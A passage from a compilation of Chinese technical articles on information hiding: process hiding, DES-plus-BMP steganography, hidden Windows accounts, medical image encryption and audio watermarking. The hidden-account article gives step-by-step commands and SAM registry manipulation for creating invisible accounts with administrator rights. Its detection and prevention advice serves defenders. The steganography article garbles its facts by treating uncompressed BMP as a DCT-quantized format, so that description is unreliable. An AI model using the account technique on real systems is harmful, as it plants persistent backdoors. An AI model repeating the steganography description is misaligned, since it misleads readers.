這證明hide.dll已經(jīng)在IEXPLORE.EXE進(jìn)程內(nèi)正確地運(yùn)行了。上面程序的頭文件由編譯器自動(dòng)生成，未作改動(dòng)，故略之。

5結(jié)束語(yǔ)

進(jìn)程隱藏技術(shù)和方法有很多，而且這一技術(shù)發(fā)展也相當(dāng)快，本文僅從一個(gè)側(cè)面加以討論，希望通過(guò)這一探討讓我們對(duì)進(jìn)程隱藏技術(shù)有一個(gè)更清楚的認(rèn)識(shí)，同時(shí)也為我們防范他人利用進(jìn)程隱藏手段非法入侵提供參考，本文拋磚引玉，不當(dāng)之處誠(chéng)懇批評(píng)指正。

篇（6）

【 中圖分類(lèi)號(hào) 】 TN915.08 【 文獻(xiàn)標(biāo)識(shí)碼 】 A

【 Abstract 】 This paper presents a kind of information hiding technology， first of all， through using DES encryption algorithm to encrypt files， and then through information hiding， encrypted file hidden in the BMP image， the encryption image is exactly the same with the original image， the protection of the data is implemented very well.

【 Keywords 】 information hiding； des； encryption image

1 引言

信息隱藏是上世紀(jì)90年代開(kāi)始興起的信息安全新技術(shù)，并成為信息安全技術(shù)研究的熱點(diǎn)。傳統(tǒng)通信領(lǐng)域?yàn)榱吮ＷC傳遞的信息能夠不被竊聽(tīng)或破壞，常采用密碼來(lái)保護(hù)信息，即讓竊聽(tīng)者無(wú)法看到或聽(tīng)懂，但是這種技術(shù)的缺點(diǎn)是告訴竊聽(tīng)者這就是秘密信息，特別是隨著計(jì)算機(jī)技術(shù)的發(fā)展，密碼的安全性受到很大挑戰(zhàn)。而新的信息隱藏技術(shù)是將需要傳遞的秘密信息，隱藏在一個(gè)普通的非秘密消息當(dāng)中，再進(jìn)行傳輸，這樣即使竊聽(tīng)者竊聽(tīng)了傳輸?shù)男畔ⅲ仓粫?huì)將其當(dāng)成普通的消息，而不會(huì)懷疑或者無(wú)法得知是否有秘密信息的存在。

BMP是目前最常見(jiàn)的一種圖像格式，采用BMP圖像作為隱藏消息的載體具有許多優(yōu)點(diǎn)。首先，BMP圖像格式是互聯(lián)網(wǎng)上圖像傳輸?shù)氖聦?shí)標(biāo)準(zhǔn)，使用這一圖像格式比起其它格式來(lái)更不會(huì)引起懷疑。其次，BMP壓縮造成的和秘密消息嵌入帶來(lái)的圖像質(zhì)量退化是肉眼很難分辨的。為了更好地保證信息的安全性，本文把文件密碼加密和信息隱藏這兩種技術(shù)結(jié)合起來(lái)：首先利用DES（Data Encryption Standard）把信息文件進(jìn)行加密，然后把加密后的文件通過(guò)選定的BMP圖像以特定算法進(jìn)行隱藏。

2 信息隱藏算法

信息隱藏把前面的加密信息隱藏在無(wú)關(guān)緊要的載體BMP圖片中，第三方并不知道秘密通信這個(gè)事實(shí)的存在，也就是將秘密信息本身的存在藏起來(lái)，即使得到了載密對(duì)象，也看不到存在的秘密信息。

隱藏算法通過(guò)對(duì)BMP圖像中選定的DCT系數(shù)進(jìn)行微小變換，以滿足特定的關(guān)系來(lái)表示一個(gè)比特的信息。在提取隱藏的信息時(shí)，根據(jù)隱藏的逆過(guò)程抽取比特信息。其特點(diǎn)是隱藏的數(shù)據(jù)量較少，但是其抵抗幾何變換等攻擊的能力較強(qiáng)。

在BMP編碼中，量化過(guò)程是多對(duì)一的映射，它是有損變換過(guò)程，如果在量化前嵌入秘密消息，會(huì)丟失一些信息，從而導(dǎo)致解碼時(shí)不能正確的獲得秘密信息。因此，BMP圖像的隱寫(xiě)算法的基本原理必須在量化后進(jìn)行。由前所述，人眼對(duì)亮度信號(hào)比對(duì)色差信號(hào)更敏感，因此本工作將秘密消息與量化后的Y分量的DCT系數(shù)的LSB聯(lián)系起來(lái)，從而達(dá)到嵌入和提取秘密信息的目的。

隱藏流程如圖1所示，具體分為三步驟。

（1）對(duì)BMP圖像的壓縮數(shù)據(jù)進(jìn)行解碼，得到量化后的DCT系數(shù)。

（2）按照隱寫(xiě)算法的嵌入規(guī)則對(duì)Y分量的DCT系數(shù)進(jìn)行修改，將要隱藏的秘密消息嵌入到其中。

① 首先對(duì)載體圖像按照8×8的分塊方式進(jìn)行分塊。如果載體圖像的行數(shù)和列數(shù)的像素個(gè)數(shù)不為8的倍數(shù)時(shí)，則要進(jìn)行邊界擴(kuò)充處理，使得行數(shù)和列數(shù)的像素個(gè)數(shù)都是8的倍數(shù)。設(shè)載體圖像的行數(shù)為ImgHeight，列數(shù)為ImgWidth，Y在行和列方向上的采樣率分別為SampRate_Y_H和SampRate_Y_V，則整幅圖像被分為MCUNum = ImgWidth * ImgHeight / （64 * SampRate_Y_H * SampRate_Y_V）個(gè)小塊。

② 讀入待隱信息文件，把其轉(zhuǎn)換為二進(jìn)制的位流。設(shè)待隱信息文件的長(zhǎng)度為FileLength。為了以后提取待隱信息，需要傳遞文件長(zhǎng)度，用2個(gè)字節(jié)表示，可表示的最大數(shù)為65535。這樣總的需要隱藏的信息長(zhǎng)度 TotalFileLength = FileLength + 2，單位是字節(jié)。

③ 對(duì)一個(gè)MCU，按照對(duì)Y分量的DCT系數(shù)最低位進(jìn)行修改。查找預(yù)定義的矩陣MIDBAND，該矩陣由數(shù)值0，1組成，對(duì)其中數(shù)值為1的位置修改對(duì)應(yīng)DCT的頻率系數(shù)：如果當(dāng)前待隱信息的二進(jìn)制值為0，則把相應(yīng)位置的頻率系數(shù)值的最低為修改為0；如果當(dāng)前待隱信息的二進(jìn)制值為1，則把相應(yīng)位置的頻率系數(shù)值的最低為修改為1。

④ 對(duì)待隱信息文件的二進(jìn)制流按照③的隱藏方案進(jìn)行信息隱藏。如果待隱信息文件長(zhǎng)度大于載體圖片的最大隱藏量，則把待隱信息文件按照最大隱藏量進(jìn)行分段，然后分批按照隱藏流程處理。

（3）對(duì)修改后的DCT系數(shù)進(jìn)行編碼，重新生成壓縮數(shù)據(jù)，即載密BMP圖像。對(duì)于上面分批隱藏的，生成系列載密圖像如圖2所示。

秘密消息的提取過(guò)程是嵌入過(guò)程的逆過(guò)程，提取算法要和隱寫(xiě)算法相對(duì)應(yīng)。

3 結(jié)束語(yǔ)

在網(wǎng)絡(luò)飛速發(fā)展的今天，信息隱藏技術(shù)的研究具有現(xiàn)實(shí)意義。本文將DES加密技術(shù)與信息隱藏技術(shù)相融合，將加密后的信息隱藏到最常見(jiàn)的BMP圖片中，使整個(gè)信息隱藏過(guò)程達(dá)到比較高的安全級(jí)別。信息隱藏技術(shù)在商業(yè)中的廣泛應(yīng)用，是一個(gè)跨多領(lǐng)域、多學(xué)科（數(shù)字信號(hào)處理、圖像處理、模式識(shí)別、數(shù)字通信、多媒體技術(shù)、密碼學(xué)、語(yǔ)音處理等）的技術(shù)體系，由于它與具體的應(yīng)用密切相關(guān)，這也決定了信息隱藏技術(shù)研究成果的多樣性以及信息隱藏技術(shù)研究的不完善性，仍有許多技術(shù)問(wèn)題需要解決。但可以相信，隨著科學(xué)技術(shù)越來(lái)越發(fā)達(dá)，信息隱藏將有更加廣闊的發(fā)展空間。

參考文獻(xiàn)

[1] 夏煜，郎榮玲，曹衛(wèi)兵等.基于圖像的信息隱藏檢測(cè)算法和實(shí)現(xiàn)技術(shù)研究綜述[J].計(jì)算機(jī)研究與發(fā)展，2004， 41（4）：728-736.

[2] 陳波，譚運(yùn)猛，吳世忠.信息隱藏技術(shù)綜述[J].計(jì)算機(jī)與數(shù)字工程， 2005， 33（2）：21-23.

[3] 陳雅.基于數(shù)字圖像的信息隱藏技術(shù)綜述[J].福建電腦，2008， （2）：6-6.

篇（7）

 

用戶帳戶是指用戶定義到Windows的所有信息組成的記錄。這些記錄包括用戶名和用戶登錄所需的密碼、用戶帳戶所屬組，以及用戶使用計(jì)算機(jī)和網(wǎng)絡(luò)并訪問(wèn)資源的權(quán)利和權(quán)限。通常管理用戶的方式是使用Windows自帶的帳戶管理工具，例如netuser命令、計(jì)算機(jī)管理中的本地用戶和組等，但是由于這些工具自身存在的缺陷，在使用這些工具的過(guò)程中，部分用戶賬號(hào)并沒(méi)有顯示出來(lái)，這些帳戶也就是通常所說(shuō)的“隱藏賬戶”，有時(shí)也叫“影子帳戶”。

一、隱藏賬戶的種類(lèi)。

在windows中的隱藏帳戶分為以下幾種，下面就來(lái)看看這些帳戶的本來(lái)面目。

1、最簡(jiǎn)單的隱藏帳戶

最簡(jiǎn)單的隱藏帳戶可以在CMD模式下通過(guò)命令創(chuàng)建。點(diǎn)擊“開(kāi)始”→“運(yùn)行”，輸入“CMD”后回車(chē)，進(jìn)入到CMD模式。下面使用“net user”命令來(lái)創(chuàng)建帳戶，命令格式為“net user 帳戶名稱 賬戶密碼 /add”，輸入“net user test$ 123456/add”，回車(chē)，成功后會(huì)顯示“命令成功完成”。

再使用“net user”命令查看當(dāng)前系統(tǒng)中的帳戶信息列表，發(fā)現(xiàn)并沒(méi)有剛才創(chuàng)建的“test$”帳戶。那么剛才創(chuàng)建的賬戶是否真的已經(jīng)存在了呢？讓我們點(diǎn)擊“開(kāi)始”→“運(yùn)行”，輸入“compmgmt.msc”后回車(chē)，進(jìn)入到“計(jì)算機(jī)管理”，查看其中的“本地用戶和組”，在“用戶”一項(xiàng)中，發(fā)現(xiàn)剛才建立的賬戶“test$”是存在的（如下圖）。

這說(shuō)明剛才創(chuàng)建的“test$”確實(shí)是一個(gè)在CMD模式中不能用“net user”命令查看的隱藏帳戶。

從上面的過(guò)程看，“test$”賬戶之所以被隱藏，是因?yàn)樗挠脩裘?ldquo;$”后綴，這是windows自身的一種隱藏機(jī)制，而且這種通過(guò)特殊后綴名創(chuàng)建的賬戶只能在CMD中相對(duì)于使用“netuser”命令查看時(shí)進(jìn)行隱藏，而對(duì)于通過(guò)“本地用戶和組”查看用戶信息則必然“顯形”。其實(shí)，由于創(chuàng)建賬戶時(shí)默認(rèn)為將用戶加入到“users”組，在CMD模式中可以直接通過(guò)查看“users”組來(lái)讓其“顯形”，即在“命令提示符”后輸入“netlocalgroup users”就會(huì)列出剛才創(chuàng)建的“test$”。并且這種隱藏賬戶會(huì)在用戶切換或系統(tǒng)重啟時(shí)自動(dòng)“顯形”在windows的登錄界面中。因此這種隱藏賬戶的方法是一種初級(jí)的隱藏方法，只對(duì)那些粗心的管理員有效，是一種入門(mén)級(jí)的系統(tǒng)賬戶隱藏技術(shù)。

2、注冊(cè)表型隱藏帳戶

上面創(chuàng)建的隱藏賬戶很容易“顯形”，下面通過(guò)注冊(cè)表建立一種在CMD模式和“本地用戶和組”中“隱形”的賬戶。，注冊(cè)表。

我們都知道，創(chuàng)建的所有賬戶信息都會(huì)記錄在注冊(cè)表中。點(diǎn)擊“開(kāi)始”→“運(yùn)行”，輸入“regedit”后回車(chē)，進(jìn)入到“注冊(cè)表編輯器”，來(lái)到注冊(cè)表編輯器的“HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames”處，當(dāng)前系統(tǒng)中所有存在的賬戶都會(huì)在這里顯示，當(dāng)然包括我們的隱藏賬戶（若發(fā)現(xiàn)SAM不能展開(kāi)，則“HKEY_LOCAL_MACHINESAMSAM”處右擊選擇“權(quán)限”，在彈出的“SAM的權(quán)限”編輯窗口中選中“administrators”賬戶，在下方的權(quán)限設(shè)置處勾選“完全控制”，完成后點(diǎn)擊“確定”即可。然后我們切換回“注冊(cè)表編輯器”，可以發(fā)現(xiàn)“HKEY_LOCAL_MACHINESAMSAM”下面的鍵值都可以展開(kāi)了）。點(diǎn)擊上面創(chuàng)建的隱藏賬戶“test$”，可以看到右邊的窗格中對(duì)應(yīng)的類(lèi)型顯示為“0x3ec”，在左邊“Names”的上級(jí)結(jié)點(diǎn)“Users”下可以看到對(duì)應(yīng)的“000003EC”，以上內(nèi)容可能在實(shí)驗(yàn)中的顯示標(biāo)識(shí)有所不同。

將“test$”的鍵值導(dǎo)出為test$.reg，同時(shí)將“000003EC”導(dǎo)出為test$Value.reg。接下來(lái)進(jìn)入CMD模式，在“命令提示符”后輸入“net user test$ /del”將上面建立的隱藏賬戶刪除。最后，將“test$.reg”和“test$Value.reg”導(dǎo)入注冊(cè)表，至此，注冊(cè)表型隱藏賬戶制作完成。，注冊(cè)表。從這種創(chuàng)建賬戶的方式中可以看出，每一個(gè)賬戶的關(guān)鍵信息保存在注冊(cè)表的“Users”的相關(guān)結(jié)點(diǎn)鍵值中，可以進(jìn)一步地通過(guò)復(fù)制“administrator”的鍵值來(lái)提升隱藏賬戶的權(quán)限。這種創(chuàng)建隱藏用戶的方法也可以使用“HideAdmin”這個(gè)軟件非常容易地完成。

二、“狙擊”隱藏賬戶。

如果入侵者在你的系統(tǒng)中創(chuàng)建這樣一些隱藏賬戶，無(wú)疑會(huì)給你的系統(tǒng)安全帶來(lái)極大的危害，下面就采用循序漸進(jìn)的方式將其“掃地出門(mén)”。

1、如果是第一種最簡(jiǎn)單的隱藏賬戶，則直接在“在地用戶和組”中將其刪除即可，只是注意在檢查賬戶列表時(shí)不能僅僅依靠CMD模式下的“net user”命令。

2、對(duì)于注冊(cè)表型隱藏賬戶，在系統(tǒng)重啟或進(jìn)行賬戶的增刪操作后會(huì)在“本地用戶和組”中“顯形”出來(lái)。那么是不是就可以像第一種一樣直接刪除呢？答案是否定的。，注冊(cè)表。直接刪除不能成功執(zhí)行，那么就只好到注冊(cè)表中去刪除相應(yīng)的結(jié)點(diǎn)項(xiàng)了。

3、如果入侵者創(chuàng)建了一個(gè)注冊(cè)表型隱藏賬戶，并在此基礎(chǔ)上刪除了管理員對(duì)注冊(cè)表的操作權(quán)限。那么管理員是無(wú)法通過(guò)注冊(cè)表刪除隱藏賬戶的，甚至無(wú)法知道隱藏賬戶名稱。那我們就只好借助“組策略”的幫助，讓黑客無(wú)法通過(guò)隱藏賬戶登陸。點(diǎn)擊“開(kāi)始”→“運(yùn)行”，輸入“gpedit.msc”運(yùn)行“組策略”，依次展開(kāi)至“審核策略”，雙擊右邊的“審核策略更改”，在彈出的設(shè)置窗口中勾選“成功”，然后點(diǎn)“確定”。對(duì)“審核登陸事件”和“審核過(guò)程追蹤”進(jìn)行相同的設(shè)置。這樣我們就可以通過(guò)“事件查看器”準(zhǔn)確得知隱藏賬戶的名稱和登陸的時(shí)間。即使入侵者將所有的登陸日志刪除，系統(tǒng)還會(huì)記錄是哪個(gè)賬戶刪除了系統(tǒng)日志，這樣入侵者的隱藏賬戶就暴露無(wú)疑了。在得知隱藏賬戶的名稱后即使不能刪除這個(gè)隱藏賬戶，我們也可以修改其密碼讓其不能登錄，這樣該隱藏賬戶就形同虛設(shè)了。，注冊(cè)表。

三、防范隱藏賬戶。，注冊(cè)表。

與其在隱藏賬戶存在后進(jìn)行“狙擊”，不如事先采用適當(dāng)?shù)牟呗裕瑢㈦[藏賬戶拒之門(mén)外，防患于未然。，注冊(cè)表。

1、從管理層次上看，應(yīng)該做好以下工作：

（1）管理員賬戶在采用強(qiáng)口令的基礎(chǔ)上，除完成必要的管理任務(wù)外，不得進(jìn)行日常操作；

（2）賬戶的增加和刪除應(yīng)該采用登記機(jī)制；

（3）賬戶權(quán)限應(yīng)該采用“最小化”原則，避免越權(quán)操作；

（4）管理員應(yīng)該定期和不定期地對(duì)賬戶列表進(jìn)行檢查，發(fā)現(xiàn)非法賬戶應(yīng)及時(shí)進(jìn)行處理；

（5）建立必要的賬戶恢復(fù)和應(yīng)急策略。

2、從技術(shù)層次上看，應(yīng)該做好以下幾點(diǎn)：

（1）使用“組策略”配置賬戶管理；

（2）關(guān)閉遠(yuǎn)程注冊(cè)表修改服務(wù)；

（3）采用多種方式檢查用戶賬戶列表；

（4）充分利用事件查看器中的審核信息進(jìn)行防范。

從以上的分析可以看出，所謂的隱藏賬戶并不能達(dá)到真正的“無(wú)形”，只要你理解了windows賬戶的本質(zhì)，掌握了一定的安全管理技術(shù)，具備良好的安全防范意識(shí)，隱藏賬戶式的攻擊就會(huì)在你的面前知難而退。

參考文獻(xiàn)：

[1]張?jiān)录t：《網(wǎng)絡(luò)安全與技術(shù)》，湖北長(zhǎng)江出版社

篇（8）

基本思想是通過(guò)混沌系統(tǒng)運(yùn)算出一個(gè)混沌序列，將這個(gè)序列按照事先選取的既定的算法或是排列方案進(jìn)而進(jìn)一步進(jìn)行運(yùn)算以生成新的一個(gè)序列。與此同時(shí)，為了保證原混沌序列的位置與計(jì)算后的新序列之間的變換位置是一一對(duì)應(yīng)的，又進(jìn)一步利用了混沌系統(tǒng)的遍歷性。實(shí)驗(yàn)表明，這種通過(guò)由混沌系統(tǒng)得出的混沌序列的進(jìn)而對(duì)其進(jìn)一步運(yùn)算得到的變化關(guān)系在應(yīng)用到圖像置亂后可以實(shí)現(xiàn)明顯的圖像置亂效果。同時(shí)為了改變加密圖像的統(tǒng)計(jì)特性、圖像像素值以及降低圖像像素值間的相關(guān)性，也可以通過(guò)單個(gè)混沌序列或多個(gè)復(fù)合的混沌序列來(lái)實(shí)現(xiàn)改變。數(shù)字圖像信息隱藏?cái)?shù)字圖像信息隱藏技術(shù)也可用于保護(hù)病人醫(yī)學(xué)影像的隱私。基本思想是，將需要被加密的醫(yī)學(xué)圖像的數(shù)字信息隱藏在另外一幅無(wú)關(guān)的圖像中，比如一幅公開(kāi)圖像。這幅圖像要求具有一定的迷惑性、大眾性，以便迷惑攻擊者，能夠降低轉(zhuǎn)移其注意力，這樣就降低了圖像被攻擊的幾率；與此同時(shí)，通過(guò)一定算法改變加密圖像的原有的統(tǒng)計(jì)特性。以達(dá)到保護(hù)被加密影像的目的。應(yīng)用其中的調(diào)配融合算法、“中國(guó)拼圖”算法可以使圖像的信息隱藏達(dá)到一個(gè)高質(zhì)量的水平。另外，還可以綜合各種不同的算法的特點(diǎn)，將數(shù)字隱藏技術(shù)擴(kuò)展到聲音、圖像等不同的信息載體中的信息隱藏需求中去。另外，近年來(lái)新興的一種數(shù)字作品版權(quán)保護(hù)技術(shù)——數(shù)字圖像水印技術(shù)[3]，能夠有效地保護(hù)作者以及出版商的合法權(quán)益不受侵犯，現(xiàn)已被廣泛應(yīng)用于印刷領(lǐng)域中，具有了廣闊的使用價(jià)值和商用價(jià)值，成為多媒體及知識(shí)產(chǎn)權(quán)保護(hù)的有效手段之一。數(shù)字圖像水印技術(shù)是信息隱藏技術(shù)研究領(lǐng)域的一個(gè)重要分支。為了顯示創(chuàng)作者對(duì)其作品的所有權(quán)，這種隱藏技術(shù)將具有某種意義的數(shù)字水印利用數(shù)字嵌入方法將其隱藏在其作品（可以是多種信息載體，比如視頻、圖像、聲音、文字等數(shù)字產(chǎn)品）中。在進(jìn)行印刷品真?zhèn)悟?yàn)證時(shí)，可通過(guò)水印的檢測(cè)、分析來(lái)保證數(shù)字信息的完整性及可靠性。數(shù)字圖像分存數(shù)字圖像分存技術(shù)是把一幅需要進(jìn)行保護(hù)的數(shù)字圖像分割成多幅圖像進(jìn)行傳輸。被分割后的圖像不再具有某種特殊的意義成為無(wú)意義或是看起來(lái)雜亂無(wú)章的圖像。也可將分割后圖像進(jìn)一步隱藏到另外幾幅不相關(guān)的或是具有一定迷惑作用的圖像中進(jìn)行存儲(chǔ)獲傳輸。這類(lèi)似于數(shù)據(jù)組的分包傳輸。這樣可以避免因個(gè)別圖像的傳輸丟失而造成病人隱私信息遭到泄露的危險(xiǎn)，而且也起到在通信中個(gè)別被分割后的圖像信息的丟失與泄露不會(huì)影響原始圖像信息的泄露。數(shù)字圖像分存技術(shù)的特點(diǎn)使竊密者竊取完整的原始圖像的成本大大增加，而且也提高了病人圖像隱私的保密程度同時(shí)，若將圖像置亂技術(shù)、圖像隱藏技術(shù)、圖像分存技術(shù)三者結(jié)合起來(lái)將使圖像的安全傳輸有了較高的可靠性。

對(duì)病人實(shí)行連續(xù)診斷，及時(shí)獲取病情發(fā)展?fàn)顩r成為未來(lái)要實(shí)現(xiàn)的目標(biāo)；同時(shí)，病人的隱私在圖像傳輸過(guò)程中也增加了泄露和被攻擊的風(fēng)險(xiǎn)，因此，在某種特定情況下對(duì)病人圖像信息的傳輸需要進(jìn)行加密保護(hù)。實(shí)現(xiàn)這一目標(biāo)的關(guān)鍵技術(shù)就是安全性高、保密性強(qiáng)、延時(shí)短的圖像加密通信系統(tǒng)。圖像加密通信系統(tǒng)對(duì)病人的病情進(jìn)行實(shí)時(shí)監(jiān)護(hù)，并將病人的信息實(shí)時(shí)傳回到醫(yī)生的監(jiān)控中心，使醫(yī)生能夠通過(guò)監(jiān)控屏幕實(shí)時(shí)查看了解病人的具體情況，以能夠及時(shí)做出正確的醫(yī)療診斷。目前數(shù)字圖像的特點(diǎn)決定了其在存儲(chǔ)傳輸時(shí)必定要占用較大的空間與帶寬，再加上其需要處理的信息量大，這就進(jìn)一步給圖像的加密和通信帶來(lái)了困難。而遠(yuǎn)程醫(yī)療更需要清楚的觀測(cè)到病人的詳細(xì)病情，就進(jìn)一步加大了保密通信的難度。因此需要將圖像壓縮以及圖像加密兩個(gè)技術(shù)結(jié)合起來(lái)對(duì)數(shù)字圖像的傳輸進(jìn)行處理。圖像加密是為了保證數(shù)字圖像的安全，圖像的壓縮技術(shù)可以最大限度的減小占用的存儲(chǔ)空間以便降低傳輸數(shù)據(jù)量。根據(jù)對(duì)原始圖像進(jìn)行壓縮及加密處理過(guò)程不同，可將現(xiàn)有的數(shù)字圖像加密通信分為三類(lèi)。圖像直接加密將數(shù)字圖像直接加密一般是通過(guò)數(shù)字圖像置亂技術(shù)直接對(duì)需要加密的數(shù)字圖像進(jìn)行置亂，隨后再進(jìn)行壓縮編碼和通信傳輸。這個(gè)方面的研究較早，相關(guān)論文也最多。例如，基于混沌的數(shù)據(jù)塊加密算法將圖像或視頻數(shù)據(jù)先進(jìn)行位置置亂，再進(jìn)行像素值擴(kuò)散，此算法具有較高的密鑰敏感性和明文敏感性，使得加密后的數(shù)據(jù)具有均勻隨機(jī)分布的特點(diǎn)。但是，這類(lèi)方案只看重了圖像的加密，沒(méi)有將圖像的壓縮編碼問(wèn)題放在同樣重要的位置上考慮。這樣就隨之而然的出現(xiàn)了兩個(gè)嚴(yán)重影響通信效率及解密后的圖像清晰度的問(wèn)題。一是，需要加密的原始視頻圖像本身的數(shù)據(jù)占用空間就大，其進(jìn)一步的加密計(jì)算便會(huì)消耗大量的資源與時(shí)間，這與實(shí)時(shí)性的要求有悖，況且目前的設(shè)備處理能力有限更難以達(dá)到圖像傳輸?shù)膶?shí)時(shí)性要求，加重了通信的負(fù)擔(dān)；二是，由于經(jīng)過(guò)加密算法處理，使圖像原來(lái)的相鄰像素間的相關(guān)性有了變化，大量的增加了高頻分量。使加密壓縮后的視頻圖像的高頻分量比低頻分量的失真大得多，因此解密后的圖像會(huì)有較大的失真。

首先通過(guò)現(xiàn)有的壓縮算法對(duì)視頻、圖像進(jìn)行壓縮，之后再對(duì)壓縮后的數(shù)據(jù)加密。加密的算法可更具需要采用安全性不同的算法。此方案的優(yōu)點(diǎn)是具有較高的安全性；缺點(diǎn)是由于加密是在壓縮后的數(shù)字圖像數(shù)據(jù)上進(jìn)行，便不再區(qū)分?jǐn)?shù)據(jù)的重要性，因此數(shù)據(jù)加密的效果差、效率低而且數(shù)據(jù)也量大，使運(yùn)算的設(shè)備負(fù)擔(dān)也加重。選擇性加選擇性加密是在方案特點(diǎn)的基礎(chǔ)上改進(jìn)，在選擇采用一定的壓縮標(biāo)準(zhǔn)將視頻圖像壓縮后，再對(duì)重要的數(shù)據(jù)進(jìn)行著重加密。兼顧了數(shù)據(jù)的安全與傳輸?shù)男省Ｄ壳埃曨l圖像編碼標(biāo)準(zhǔn)根據(jù)靜態(tài)圖像和動(dòng)態(tài)圖像來(lái)分主要分為靜態(tài)圖像的壓縮標(biāo)準(zhǔn)和運(yùn)動(dòng)圖像的壓縮標(biāo)準(zhǔn)兩種。動(dòng)態(tài)圖像的壓縮標(biāo)準(zhǔn)主要有MPEG-1，MPEG-2，MPEG-4，H.263和H.264；靜態(tài)圖像的壓縮標(biāo)準(zhǔn)主要有JPEG、JPEG2000。文獻(xiàn)[4]采用小波置亂的方法來(lái)實(shí)現(xiàn)對(duì)JPEG2000的小波系數(shù)的實(shí)時(shí)加密。針對(duì)MPEG-2標(biāo)準(zhǔn)，文獻(xiàn)[5]提出了對(duì)I幀加密的思路。針對(duì)H.264具有代表性的研究成果有Ahn提出的幀內(nèi)預(yù)測(cè)模式加擾方法，該方法將所有I、P幀中的INTRA-4x4塊和INTR_16×16塊預(yù)測(cè)模式使用定長(zhǎng)偽隨機(jī)序列進(jìn)行隨機(jī)加擾，方法效率高但安全性較差。文獻(xiàn)[6]提出了對(duì)熵編碼過(guò)程進(jìn)行加密的思路，但這種方案的實(shí)現(xiàn)比較復(fù)雜。

作者：李穎姝 李瑩 單位：青島市第五人民醫(yī)院 青島市電子政務(wù)與信息資源管理辦公室

篇（9）

論文關(guān)鍵詞：音頻水印；小波變換；倒譜；模／數(shù)轉(zhuǎn)換；amr格式

0引言

在電視廣播、交通臺(tái)和音樂(lè)會(huì)等公共信息傳播領(lǐng)域，音頻的版權(quán)管理和安全傳輸都非常重要。如果采用數(shù)字水印技術(shù)，則需要水印算法能夠抵抗a／d和d／a轉(zhuǎn)換。目前，具有這種變換的類(lèi)型可以劃分為三種。第種是基于電纜傳輸方式，以電話線傳播和直通電纜連接為典型，所受干擾小。電話線方式是公用信道，能夠傳播很遠(yuǎn)，傳輸秘密水印的載體可以是話音或音樂(lè)等類(lèi)型；而直通電纜方式一般在一個(gè)辦公實(shí)驗(yàn)的局部環(huán)境中。第二種是基于廣播方式，通過(guò)廣播媒體或?qū)Ｓ妙l道進(jìn)行傳播。第三種是基于空氣直接傳播方式，會(huì)遭遇各種干擾，通常只能近距離設(shè)計(jì)。由于音頻水印的遠(yuǎn)程傳輸和提取具有廣泛的應(yīng)用價(jià)值，這些音頻傳播水印技術(shù)在國(guó)外已經(jīng)受到了極大重視并有所成果。在空氣傳播水印信息方面，德國(guó)的steinebach等人…開(kāi)展了最早的研究，通過(guò)設(shè)定5—4oocm的多個(gè)不同間距，同時(shí)使用了4種不同的麥克風(fēng)，研究了5種音頻類(lèi)型的水印技術(shù)，在5～180cm的間距普遍獲得了良好的提取效果。隨后，日本的achibana等人口研究將水印實(shí)時(shí)地隱藏到公共環(huán)境如音樂(lè)演奏會(huì)的音樂(lè)之中，能夠成功地在一個(gè)30s音樂(lè)片段內(nèi)隱藏64b的消息，測(cè)試的空氣傳播距離為3m。在電話網(wǎng)絡(luò)傳播方面，加拿大的chen等人開(kāi)展了模擬電話通道的隱藏，在誤碼率小于0．001時(shí)，其數(shù)據(jù)帶寬達(dá)到了265bps。日本的modegi等人設(shè)計(jì)了一套非接觸水印提取方案，通過(guò)手機(jī)來(lái)廣播或轉(zhuǎn)存水印音頻，然后，通過(guò)計(jì)算機(jī)將秘密從轉(zhuǎn)存的音頻文件提取出來(lái)。隱藏帶寬達(dá)到61．5bps，提取率高于90％。但是，這幾種研究結(jié)果并沒(méi)有對(duì)算法做詳細(xì)描述。在直通電纜傳播方面，項(xiàng)世軍等人采用了三段能量比值方法，嵌人的是一串32b信息，雖然提取效果比較好，但由于實(shí)驗(yàn)容量太小，實(shí)用性不夠，且對(duì)同步技術(shù)有較高的要求；王讓定等人采用改進(jìn)的量化方法、馬冀平等人”采用了dct方法，嵌入的都是小圖片，但提取效果一般，僅可辨認(rèn)。雷贄等人在短波廣播含水印音頻算法方面取得了可喜的進(jìn)展，通過(guò)多種同步方案和算法設(shè)計(jì)，使水印提取的模擬和實(shí)測(cè)過(guò)程都達(dá)到了較好的效果，但實(shí)驗(yàn)容量很小。此外，由守杰等人設(shè)計(jì)了一種相似度計(jì)算方法，由于是非盲提取，不適于廣播通信領(lǐng)域。作者利用小分段的直方圖特性，開(kāi)展了抗a／d轉(zhuǎn)換的音頻水印初步研究，在每段開(kāi)頭總能獲得正確提取，但在每段的后續(xù)隱藏效果不佳，還需要做許多改進(jìn)。

可見(jiàn)，在面向公共音頻傳播方面，如何既能提高隱藏效果又能增大容量，仍然是音頻水印算法要解決的一個(gè)難題。本文通過(guò)數(shù)據(jù)特性分析，采用倒譜技術(shù)和小波分解方法，成功地解決了問(wèn)題，且能夠抵抗一定的手機(jī)彩鈴amr攻擊，為實(shí)用化提供了重要基礎(chǔ)。

1數(shù)據(jù)特性描述

音頻信號(hào)經(jīng)過(guò)具有a／d和d／a轉(zhuǎn)換的傳輸過(guò)程時(shí)，必然要涉及到以下問(wèn)題：

1)音頻信號(hào)要經(jīng)歷傳輸過(guò)程中的外加干擾，包括50hz的工頻電信號(hào)，因此，需要選擇大于50hz的音頻頻率信號(hào)；

2)因聲卡特性不同，音頻轉(zhuǎn)換過(guò)程不一定具有線性模型；

3)傳輸中錄制的音量往往與播放的音量不一致，這要求水印算法能夠抵抗音量的大范圍變化；

4)傳輸中錄制開(kāi)始時(shí)刻可能早于也可能晚于播放時(shí)刻而且結(jié)束時(shí)刻也不一定一致，所以水印隱藏的起始位置需要沒(méi)置標(biāo)志；

5)轉(zhuǎn)換過(guò)程具有一定的濾波特點(diǎn)，可濾除較高頻率信號(hào)。

1．1音頻頻率范圍選擇

對(duì)照音頻頻率響應(yīng)特性圖可以發(fā)現(xiàn)，在低頻部分的閾值比2khz～4khz的要高得多，不容易察覺(jué)；尤其是1khz以下部分，其不可感知性要好得多。文獻(xiàn)[4]的實(shí)驗(yàn)也表明，音頻數(shù)據(jù)通過(guò)a／d和d／a轉(zhuǎn)換后，其低頻范圍700hz以下的損失非常小。可見(jiàn)，選擇在頻率為(50，700)范圍內(nèi)的音頻數(shù)據(jù)，用于信息隱藏非常有利。

1．2倒譜系數(shù)的選取方法

